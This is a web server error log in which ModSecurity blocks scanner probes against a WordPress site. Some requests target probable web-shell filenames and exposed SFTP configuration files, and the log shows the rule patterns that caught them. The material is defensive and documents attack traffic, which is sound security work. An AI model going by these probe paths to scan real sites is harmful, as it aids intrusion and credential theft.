[Thu Mar 12 14:25:25.550657 2026] [:error] [pid 51456:tid 51508] [client 37.140.254.32:56767] [client 37.140.254.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bypas.php"] [unique_id "abJcVRXu8LzVixNGr0tNCwAAAFU"]
[Thu Mar 12 14:25:26.904553 2026] [:error] [pid 11953:tid 11978] [client 37.140.254.16:58751] [client 37.140.254.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/license.php"] [unique_id "abJcVpudzqsnq3bvtDYJtwAAAVc"]
[Thu Mar 12 14:25:28.644290 2026] [:error] [pid 51455:tid 51470] [client 37.140.254.54:57695] [client 37.140.254.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/ateprivacy-policy-guide.php"] [unique_id "abJcWJE0YyNxdg6PL_DQFwAAAAo"]
[Thu Mar 12 14:25:30.181077 2026] [:error] [pid 22063:tid 22065] [client 37.140.254.27:63431] [client 37.140.254.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "abJcWq0RUhS-MJyHWLTXHQAAAgA"]
[Thu Mar 12 14:25:31.937834 2026] [:error] [pid 11953:tid 11972] [client 37.140.254.31:36831] [client 37.140.254.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "abJcW5udzqsnq3bvtDYJuAAAAVE"]
[Thu Mar 12 15:18:58.653109 2026] [:error] [pid 8249:tid 8261] [client 36.83.21.148:55579] [client 36.83.21.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.83.21.148, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abJo4iK5dL3-8Jdf0M2ukQAAAQo"]
[Thu Mar 12 18:25:13.803148 2026] [:error] [pid 22063:tid 22074] [client 103.65.236.149:52300] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "abKUia0RUhS-MJyHWLQcEAAAAgk"]
[Thu Mar 12 18:25:14.029102 2026] [:error] [pid 8249:tid 8253] [client 103.65.236.149:52317] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "abKUiiK5dL3-8Jdf0M0J_gAAAQI"]
[Thu Mar 12 18:47:39.987616 2026] [:error] [pid 11953:tid 11966] [client 49.43.217.24:59835] [client 49.43.217.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.217.24, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abKZy5udzqsnq3bvtDYi0QAAAUs"]
[Thu Mar 12 20:41:46.606696 2026] [:error] [pid 51456:tid 51493] [client 43.157.43.147:34782] [client 43.157.43.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abK0ihXu8LzVixNGr0tvqwAAAEY"]
[Fri Mar 13 02:05:08.447672 2026] [:error] [pid 47892:tid 47971] [client 43.155.27.244:53034] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abMAVDNdN5Yd7YcKfyULgwAAAFc"]
[Fri Mar 13 02:54:01.563812 2026] [:error] [pid 56003:tid 56024] [client 114.96.103.33:42390] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abMLyRQtM0oeMdFWe6WOlgAAANM"]
[Fri Mar 13 03:17:55.420083 2026] [:error] [pid 47892:tid 47962] [client 4.205.39.42:17359] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMRYzNdN5Yd7YcKfyUW8wAAAE4"]
[Fri Mar 13 03:18:02.803897 2026] [:error] [pid 47893:tid 47985] [client 4.205.39.42:59871] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMRagYSdu6aqxO_Yuc4uQAAAIo"]
[Fri Mar 13 03:18:05.600044 2026] [:error] [pid 47894:tid 48026] [client 4.205.39.42:17351] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMRbZiuFpRtVNR6uOKamQAAARg"]
[Fri Mar 13 03:18:09.982355 2026] [:error] [pid 48029:tid 48036] [client 4.205.39.42:59872] [client 4.205.39.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abMRcW7cFKMmtdGhPH_ouAAAAAU"]
[Fri Mar 13 03:21:14.094055 2026] [:error] [pid 47894:tid 48003] [client 51.222.154.197:37492] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abMSKpiuFpRtVNR6uOKbaAAAAQE"]
[Fri Mar 13 03:21:15.066719 2026] [:error] [pid 48029:tid 48042] [client 51.222.154.197:37508] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abMSK27cFKMmtdGhPH_poAAAAAs"]
[Fri Mar 13 03:21:15.085658 2026] [:error] [pid 47894:tid 48016] [client 51.222.154.197:59026] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abMSK5iuFpRtVNR6uOKbbAAAAQ4"]
[Fri Mar 13 03:21:16.411315 2026] [:error] [pid 48029:tid 48031] [client 51.222.154.197:59044] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abMSLG7cFKMmtdGhPH_poQAAAAA"]
[Fri Mar 13 03:21:17.542943 2026] [:error] [pid 47894:tid 48014] [client 51.222.154.197:59054] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abMSLZiuFpRtVNR6uOKbcgAAAQw"]
[Fri Mar 13 03:21:18.585935 2026] [:error] [pid 47892:tid 47949] [client 51.222.154.197:59058] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abMSLjNdN5Yd7YcKfyUXXAAAAEE"]
[Fri Mar 13 03:21:18.833654 2026] [:error] [pid 47892:tid 47972] [client 51.222.154.197:59064] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abMSLjNdN5Yd7YcKfyUXXQAAAFg"]
[Fri Mar 13 03:21:20.192962 2026] [:error] [pid 48029:tid 48044] [client 51.222.154.197:35384] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abMSMG7cFKMmtdGhPH_ppAAAAA0"]
[Fri Mar 13 03:21:21.079372 2026] [:error] [pid 47893:tid 47982] [client 51.222.154.197:35400] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abMSMQYSdu6aqxO_Yuc5eAAAAIc"]
[Fri Mar 13 03:21:21.282941 2026] [:error] [pid 47894:tid 48018] [client 51.222.154.197:35406] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abMSMZiuFpRtVNR6uOKbdQAAARA"]
[Fri Mar 13 03:21:21.290115 2026] [:error] [pid 47893:tid 47985] [client 51.222.154.197:35422] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abMSMQYSdu6aqxO_Yuc5egAAAIo"]
[Fri Mar 13 03:21:23.150933 2026] [:error] [pid 48029:tid 48033] [client 51.222.154.197:35430] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abMSM27cFKMmtdGhPH_pqgAAAAI"]
[Fri Mar 13 03:21:23.463869 2026] [:error] [pid 48029:tid 48032] [client 51.222.154.197:35440] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abMSM27cFKMmtdGhPH_pqwAAAAE"]
[Fri Mar 13 03:21:23.671180 2026] [:error] [pid 56003:tid 56026] [client 51.222.154.197:35450] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abMSMxQtM0oeMdFWe6WawgAAANU"]
[Fri Mar 13 03:21:24.185892 2026] [:error] [pid 48029:tid 48047] [client 51.222.154.197:35460] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abMSNG7cFKMmtdGhPH_prAAAABA"]
[Fri Mar 13 03:21:25.895361 2026] [:error] [pid 48029:tid 48035] [client 51.222.154.197:35474] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abMSNW7cFKMmtdGhPH_prgAAAAQ"]
[Fri Mar 13 03:21:26.058707 2026] [:error] [pid 47892:tid 47966] [client 51.222.154.197:35486] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abMSNjNdN5Yd7YcKfyUXYwAAAFI"]
[Fri Mar 13 03:21:26.750566 2026] [:error] [pid 47892:tid 47968] [client 51.222.154.197:35498] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abMSNjNdN5Yd7YcKfyUXZAAAAFQ"]
[Fri Mar 13 03:21:26.772511 2026] [:error] [pid 47894:tid 48006] [client 51.222.154.197:35512] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abMSNpiuFpRtVNR6uOKbfAAAAQQ"]
[Fri Mar 13 03:21:28.353050 2026] [:error] [pid 47892:tid 47970] [client 51.222.154.197:35532] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abMSODNdN5Yd7YcKfyUXZwAAAFY"]
[Fri Mar 13 03:21:28.386854 2026] [:error] [pid 47893:tid 47999] [client 51.222.154.197:35524] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abMSOAYSdu6aqxO_Yuc5fQAAAJg"]
[Fri Mar 13 03:21:29.187138 2026] [:error] [pid 48029:tid 48033] [client 51.222.154.197:35542] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abMSOW7cFKMmtdGhPH_pswAAAAI"]
[Fri Mar 13 03:21:29.567896 2026] [:error] [pid 48029:tid 48032] [client 51.222.154.197:35554] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abMSOW7cFKMmtdGhPH_ptQAAAAE"]
[Fri Mar 13 03:21:30.739714 2026] [:error] [pid 47894:tid 48016] [client 51.222.154.197:50928] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abMSOpiuFpRtVNR6uOKbgAAAAQ4"]
[Fri Mar 13 03:21:30.888878 2026] [:error] [pid 48029:tid 48031] [client 51.222.154.197:50938] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abMSOm7cFKMmtdGhPH_pvAAAAAA"]
[Fri Mar 13 03:21:31.844097 2026] [:error] [pid 56003:tid 56024] [client 51.222.154.197:50952] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abMSOxQtM0oeMdFWe6WaywAAANM"]
[Fri Mar 13 03:21:32.147632 2026] [:error] [pid 47893:tid 47976] [client 51.222.154.197:50968] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abMSPAYSdu6aqxO_Yuc5gAAAAIE"]
[Fri Mar 13 03:21:33.074621 2026] [:error] [pid 47894:tid 48022] [client 51.222.154.197:50982] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abMSPZiuFpRtVNR6uOKbggAAARQ"]
[Fri Mar 13 03:21:33.649877 2026] [:error] [pid 56003:tid 56021] [client 51.222.154.197:50996] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abMSPRQtM0oeMdFWe6Wa1QAAANA"]
[Fri Mar 13 03:21:34.539739 2026] [:error] [pid 56003:tid 56028] [client 51.222.154.197:51006] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abMSPhQtM0oeMdFWe6Wa2AAAANc"]
[Fri Mar 13 03:21:35.540496 2026] [:error] [pid 48029:tid 48052] [client 51.222.154.197:51022] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abMSP27cFKMmtdGhPH_pvwAAABU"]
[Fri Mar 13 03:21:35.823164 2026] [:error] [pid 56003:tid 56008] [client 51.222.154.197:51034] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abMSPxQtM0oeMdFWe6Wa3AAAAMM"]
[Fri Mar 13 03:21:36.641381 2026] [:error] [pid 56003:tid 56012] [client 51.222.154.197:51046] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abMSQBQtM0oeMdFWe6Wa3gAAAMc"]
[Fri Mar 13 03:21:37.193084 2026] [:error] [pid 56003:tid 56024] [client 51.222.154.197:51054] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abMSQRQtM0oeMdFWe6Wa4AAAANM"]
[Fri Mar 13 03:21:38.094927 2026] [:error] [pid 56003:tid 56011] [client 51.222.154.197:51058] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abMSQhQtM0oeMdFWe6Wa5QAAAMY"]
[Fri Mar 13 03:21:39.154405 2026] [:error] [pid 48029:tid 48043] [client 51.222.154.197:51070] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abMSQ27cFKMmtdGhPH_pwQAAAAw"]
[Fri Mar 13 03:21:39.627264 2026] [:error] [pid 47893:tid 47998] [client 51.222.154.197:51078] [client 51.222.154.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abMSQwYSdu6aqxO_Yuc5gwAAAJc"]
